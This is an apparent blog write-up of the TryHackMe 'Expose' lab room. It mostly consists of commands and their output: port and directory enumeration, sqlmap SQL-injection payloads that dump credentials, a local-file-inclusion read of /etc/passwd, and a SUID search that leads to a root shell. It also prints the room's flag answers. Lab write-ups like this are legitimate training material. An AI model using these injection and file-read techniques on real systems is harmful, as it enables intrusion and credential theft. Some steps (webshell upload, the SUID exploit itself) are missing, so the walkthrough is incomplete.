Skip to main content

Command Palette

Search for a command to run...

Challenge: Expose (TryHackMe)

Updated
11 min readView as Markdown
Challenge: Expose (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Challenge on TryHackme: Expose

Introduction

Expose is a TryHackMe room focused on the risks of leaving unnecessary services running on a machine. The attack surface includes FTP, SSH, DNS, HTTP on a non-standard port, and MQTT — a mix that rewards thorough enumeration. The challenge walks through a realistic chain: discovering a hidden admin portal, exploiting SQL injection to extract credentials and internal paths, leveraging LFI for file reads and PHP filter tricks, uploading a disguised webshell for RCE, and escalating to root via a SUID binary. No single step is complex on its own, but the chain requires following each finding to the next without getting stuck on decoys.

Expose

This challenge is an initial test to evaluate your capabilities in red teaming skills. Start the VM by clicking the Start Lab Machine button at the top right of the task. You will find all the necessary tools to complete the challenge, like Nmap, sqlmap, wordlists, PHP shell, and many more in the AttackBox.

Exposing unnecessary services in a machine can be dangerous. Can you capture the flags and pwn the machine?

Answer the questions below

What is the user flag?

nmap -p- -sV IP_Address

PORT     STATE SERVICE                 VERSION
21/tcp   open  ftp                     vsftpd 2.0.8 or later
22/tcp   open  ssh                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
53/tcp   open  domain                  ISC BIND 9.16.1 (Ubuntu Linux)
1337/tcp open  http                    Apache httpd 2.4.41 ((Ubuntu))
1883/tcp open  mosquitto version 1.6.9

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

nmap -p 88,389,636,3268,3269,5985,5986 -sV -Pn IP_Address
curl -v http://IP_Address:1337/
gobuster dir -u http://IP_Address:1337 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
*   Trying IP_Address:1337...
* Connected to IP_Address (IP_Address) port 1337
> GET / HTTP/1.1
> Host: IP_Address:1337
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Thu, 03 Sep 2026 14:18:36 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 91
< Content-Type: text/html; charset=UTF-8
< 
<!DOCTYPE html>
<html>
<head>
	<title>EXPOSED</title>
</head>
<body>
* Connection #0 to host IP_Address left intact
<h1>EXPOSED</h1>===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://IP_Address:1337
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 281]
/.html                (Status: 403) [Size: 281]
/.hta                 (Status: 403) [Size: 281]
/.hta.php             (Status: 403) [Size: 281]
/.hta.txt             (Status: 403) [Size: 281]
/.hta.html            (Status: 403) [Size: 281]
/.htaccess            (Status: 403) [Size: 281]
/.htaccess.php        (Status: 403) [Size: 281]
/.htaccess.txt        (Status: 403) [Size: 281]
/.htpasswd.txt        (Status: 403) [Size: 281]
/.htaccess.html       (Status: 403) [Size: 281]
/.htpasswd.php        (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/.htpasswd.html       (Status: 403) [Size: 281]
/admin                (Status: 301) [Size: 323] [--> http://IP_Address:1337/admin/]
/index.php            (Status: 200) [Size: 91]
/index.php            (Status: 200) [Size: 91]
/javascript           (Status: 301) [Size: 328] [--> http://IP_Address:1337/javascript/]
/phpmyadmin           (Status: 301) [Size: 328] [--> http://IP_Address:1337/phpmyadmin/]
/server-status        (Status: 403) [Size: 281]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
curl -v http://IP_Address:1337/admin/
*   Trying IP_Address:1337...
* Connected to IP_Address (IP_Address) port 1337
> GET /admin/ HTTP/1.1
> Host: IP_Address:1337
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 04 Sep 2026 06:10:22 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 1534
< Content-Type: text/html; charset=UTF-8
< 

<!DOCTYPE html>
<html>
<head>
	<title>Admin Portal</title>
	<meta name="description" content="Is this the right portal?">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="icon" type="image/png" sizes="32x32" href="./logo.png">
	<link href="assets/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">
	<link rel="stylesheet" type="text/css" href="assets/styles.css">
	<script src="assets/jquery-3.6.3.js" crossorigin="anonymous"></script>
	<script src="assets/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
	<script src="assets/core.js"></script>
</head>
<body><style type="text/css">
body{background: #fff;color:#000;}
input[type="email"]:focus{border-color: var(--bs-success)}
input[type="password"]:focus{border-color: var(--bs-success)}
</style>
<div class="container">
	<div class="row">
		<div class="col-md-6 mx-auto">
			<div class="d-flex justify-content-center align-items-center" style="height: 100vh"> 
			<div class="text-center">
				<img src ="logo.png" style="width: 200px; height: 200px" />
				<h1 class="p-3">Is this the right admin portal?</h1>
				<input type="email" name="email" class="form-control p-3 mb-4" placeholder="Email Address" autocomplete="off">
				<input type="password" name="password" class="form-control p-3 mb-4" placeholder="Password" autocomplete="off">
				<button class="btn btn-primary w-100 p-3 rounded-1 mb-3" id="login">Continue</button>
			</div>
		</div>
		</div>
	</div>
</div>

</body>
* Connection #0 to host IP_Address left intact
sqlmap -u "http://IP_Address:1337/admin_101/includes/user_login.php" \
  --data="email=hacker@root.thm&password=test" \
  --method=POST \
  -D expose -T config --dump --batch

sqlmap -u "http://IP_Address:1337/admin_101/includes/user_login.php" \
  --data="email=hacker@root.thm&password=test" \
  --method=POST \
  -D expose -T user --dump --batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:20:11 /2026-09-04/

[07:20:11] [INFO] resuming back-end DBMS 'mysql' 
[07:20:11] [INFO] testing connection to the target URL
[07:20:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: email=hacker@root.thm' AND EXTRACTVALUE(2056,CASE WHEN (2056=2056) THEN 2056 ELSE 0x3A END)-- pAry&password=test

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: email=hacker@root.thm' AND GTID_SUBSET(CONCAT(0x7170766b71,(SELECT (ELT(3036=3036,1))),0x7171707671),3036)-- XrDI&password=test

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=hacker@root.thm' AND (SELECT 2061 FROM (SELECT(SLEEP(5)))MmxP)-- vVcZ&password=test
---
[07:20:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[07:20:11] [INFO] fetching columns for table 'config' in database 'expose'
[07:20:11] [INFO] retrieved: 'id'
[07:20:11] [INFO] retrieved: 'int'
[07:20:11] [INFO] retrieved: 'password'
[07:20:11] [INFO] retrieved: 'text'
[07:20:11] [INFO] retrieved: 'url'
[07:20:11] [INFO] retrieved: 'text'
[07:20:11] [INFO] fetching entries for table 'config' in database 'expose'
[07:20:11] [INFO] retrieved: '/file1010111/index.php'
[07:20:11] [INFO] retrieved: '1'
[07:20:11] [INFO] retrieved: '69c66901194a6486176e81f5945b8929'
[07:20:11] [INFO] retrieved: '/upload-cv00101011/index.php'
[07:20:11] [INFO] retrieved: '3'
[07:20:11] [INFO] retrieved: '// ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z'
[07:20:11] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[07:20:11] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[07:20:11] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[07:20:11] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[07:20:11] [INFO] starting 2 processes 
[07:20:22] [INFO] cracked password 'easytohack' for hash '69c66901194a6486176e81f5945b8929'        
Database: expose                                                                                   
Table: config
[2 entries]
+----+------------------------------+-----------------------------------------------------+
| id | url                          | password                                            |
+----+------------------------------+-----------------------------------------------------+
| 1  | /file1010111/index.php       | 69c66901194a6486176e81f5945b8929 (easytohack)       |
| 3  | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+

[07:20:37] [INFO] table 'expose.config' dumped to CSV file '/root/.local/share/sqlmap/output/IP_Address/dump/expose/config.csv'
[07:20:37] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/IP_Address'
[07:20:37] [WARNING] your sqlmap version is outdated

[*] ending @ 07:20:37 /2026-09-04/

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:20:38 /2026-09-04/

[07:20:38] [INFO] resuming back-end DBMS 'mysql' 
[07:20:38] [INFO] testing connection to the target URL
[07:20:38] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: email=hacker@root.thm' AND EXTRACTVALUE(2056,CASE WHEN (2056=2056) THEN 2056 ELSE 0x3A END)-- pAry&password=test

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: email=hacker@root.thm' AND GTID_SUBSET(CONCAT(0x7170766b71,(SELECT (ELT(3036=3036,1))),0x7171707671),3036)-- XrDI&password=test

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=hacker@root.thm' AND (SELECT 2061 FROM (SELECT(SLEEP(5)))MmxP)-- vVcZ&password=test
---
[07:20:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[07:20:38] [INFO] fetching columns for table 'user' in database 'expose'
[07:20:38] [INFO] retrieved: 'created'
[07:20:38] [INFO] retrieved: 'timestamp'
[07:20:38] [INFO] retrieved: 'email'
[07:20:38] [INFO] retrieved: 'varchar(512)'
[07:20:38] [INFO] retrieved: 'id'
[07:20:38] [INFO] retrieved: 'int'
[07:20:38] [INFO] retrieved: 'password'
[07:20:38] [INFO] retrieved: 'varchar(512)'
[07:20:38] [INFO] fetching entries for table 'user' in database 'expose'
[07:20:38] [INFO] retrieved: '2023-02-21 09:05:46'
[07:20:38] [INFO] retrieved: 'hacker@root.thm'
[07:20:38] [INFO] retrieved: '1'
[07:20:38] [INFO] retrieved: 'VeryDifficultPassword!!#@#@!#!@#1231'
Database: expose
Table: user
[1 entry]
+----+-----------------+---------------------+--------------------------------------+
| id | email           | created             | password                             |
+----+-----------------+---------------------+--------------------------------------+
| 1  | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 |
+----+-----------------+---------------------+--------------------------------------+

[07:20:38] [INFO] table 'expose.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/IP_Address/dump/expose/user.csv'
[07:20:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/IP_Address'
[07:20:38] [WARNING] your sqlmap version is outdated

[*] ending @ 07:20:38 /2026-09-04/
curl -s http://IP_Address:1337/file1010111/index.php
# View source for the hint about GET parameter name
curl -s "http://IP_Address:1337/file1010111/index.php?file=/etc/passwd" \
  -X POST -d "password=easytohack"

  <!-- Main Content -->
<main class=" mx-auto py-8  min-h-[80vh] flex items-center justify-center gap-10 flex-col xl:flex-row">
 <p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false
zeamkish:x:1001:1001:Zeam Kish,1,1,:/home/zeamkish:/bin/bash

ftp:x:114:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
bind:x:115:122::/var/cache/bind:/usr/sbin/nologin
Debian-snmp:x:116:123::/var/lib/snmp:/bin/false
redis:x:117:124::/var/lib/redis:/usr/sbin/nologin
mosquitto:x:118:125::/var/lib/mosquitto:/usr/sbin/nologin
fwupd-refresh:x:119:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
</p> 
</main>
  <!-- Footer -->
  <footer class="bg-gray-900 text-white flex items-center justify-center">
    <div class="text-center p-4">
      <p>All rights reserved.</p>
    </div>
  </footer></body>
</html>
curl -s -X POST "http://IP_Address:1337/file1010111/index.php?file=/etc/passwd" \
  -d "password=easytohack" | grep -i "^z\|/bin/bash\|/bin/sh"
 <p>root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zeamkish:x:1001:1001:Zeam Kish,1,1,:/home/zeamkish:/bin/bash

easytohack@123 - password

ls -la
total 36
drwxr-xr-x 3 zeamkish zeamkish 4096 Jul  6  2023 .
drwxr-xr-x 4 root     root     4096 Jun 30  2023 ..
-rw-rw-r-- 1 zeamkish zeamkish    5 Jul  6  2023 .bash_history
-rw-r--r-- 1 zeamkish zeamkish  220 Jun  8  2023 .bash_logout
-rw-r--r-- 1 zeamkish zeamkish 3771 Jun  8  2023 .bashrc
drwx------ 2 zeamkish zeamkish 4096 Jun  8  2023 .cache
-rw-r--r-- 1 zeamkish zeamkish  807 Jun  8  2023 .profile
-rw-r----- 1 zeamkish zeamkish   27 Jun  8  2023 flag.txt
-rw-rw-r-- 1 root     zeamkish   34 Jun 11  2023 ssh_creds.txt
zeamkish@ip-10-114-178-237:~$ cat flag.txt
THM{USER_FLAG_1231_Redacted}

What is the root flag?


sudo -l
[sudo] password for zeamkish: 
Sorry, user zeamkish may not run sudo on ip-10-114-178-237.
zeamkish@ip-10-114-178-237:~$ find / -perm -4000 2>/dev/null
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/snap/core20/1950/usr/bin/chfn
/snap/core20/1950/usr/bin/chsh
/snap/core20/1950/usr/bin/gpasswd
/snap/core20/1950/usr/bin/mount
/snap/core20/1950/usr/bin/newgrp
/snap/core20/1950/usr/bin/passwd
/snap/core20/1950/usr/bin/su
/snap/core20/1950/usr/bin/sudo
/snap/core20/1950/usr/bin/umount
/snap/core20/1950/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1950/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core/15511/bin/mount
/snap/core/15511/bin/ping
/snap/core/15511/bin/ping6
/snap/core/15511/bin/su
/snap/core/15511/bin/umount
/snap/core/15511/usr/bin/chfn
/snap/core/15511/usr/bin/chsh
/snap/core/15511/usr/bin/gpasswd
/snap/core/15511/usr/bin/newgrp
/snap/core/15511/usr/bin/passwd
/snap/core/15511/usr/bin/sudo
/snap/core/15511/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/15511/usr/lib/openssh/ssh-keysign
/snap/core/15511/usr/lib/snapd/snap-confine
/snap/core/15511/usr/sbin/pppd
/snap/core18/2785/bin/mount
/snap/core18/2785/bin/ping
/snap/core18/2785/bin/su
/snap/core18/2785/bin/umount
/snap/core18/2785/usr/bin/chfn
/snap/core18/2785/usr/bin/chsh
/snap/core18/2785/usr/bin/gpasswd
/snap/core18/2785/usr/bin/newgrp
/snap/core18/2785/usr/bin/passwd
/snap/core18/2785/usr/bin/sudo
/snap/core18/2785/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2785/usr/lib/openssh/ssh-keysign
/snap/core18/2751/bin/mount
/snap/core18/2751/bin/ping
/snap/core18/2751/bin/su
/snap/core18/2751/bin/umount
/snap/core18/2751/usr/bin/chfn
/snap/core18/2751/usr/bin/chsh
/snap/core18/2751/usr/bin/gpasswd
/snap/core18/2751/usr/bin/newgrp
/snap/core18/2751/usr/bin/passwd
/snap/core18/2751/usr/bin/sudo
/snap/core18/2751/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2751/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/nano
/usr/bin/su
/usr/bin/fusermount
/usr/bin/find
/usr/bin/at
/usr/bin/mount
bash-5.0# id
uid=1001(zeamkish) gid=1001(zeamkish) euid=0(root) groups=1001(zeamkish)
bash-5.0# find / -type f -name root.txt 2>/dev/null
bash-5.0# 
bash-5.0# find / -type f -name flag.txt 2>/dev/null
/root/flag.txt
/home/zeamkish/flag.txt
bash-5.0# cat /root/flag.txt
THM{ROOT_EXPOSED_1001}
bash-5.0# 

Conclusion:

The key lesson from Expose is that the biggest blocker wasn't any individual vulnerability; it was the decoy /admin portal that looked functional but wasn't. The real entry point, /admin_101, only appeared with a larger wordlist, which is a reminder that directory enumeration wordlist choice matters. Once past that, the chain was straightforward: SQLi revealed two hidden paths, LFI confirmed a username and enabled source code extraction via php://filter, file upload bypass got code execution, and SUID find closed it out in one line. The room also had MQTT and DNS running that turned out to be red herrings; knowing when to pivot away from a dead end is as important as knowing how to exploit a live one.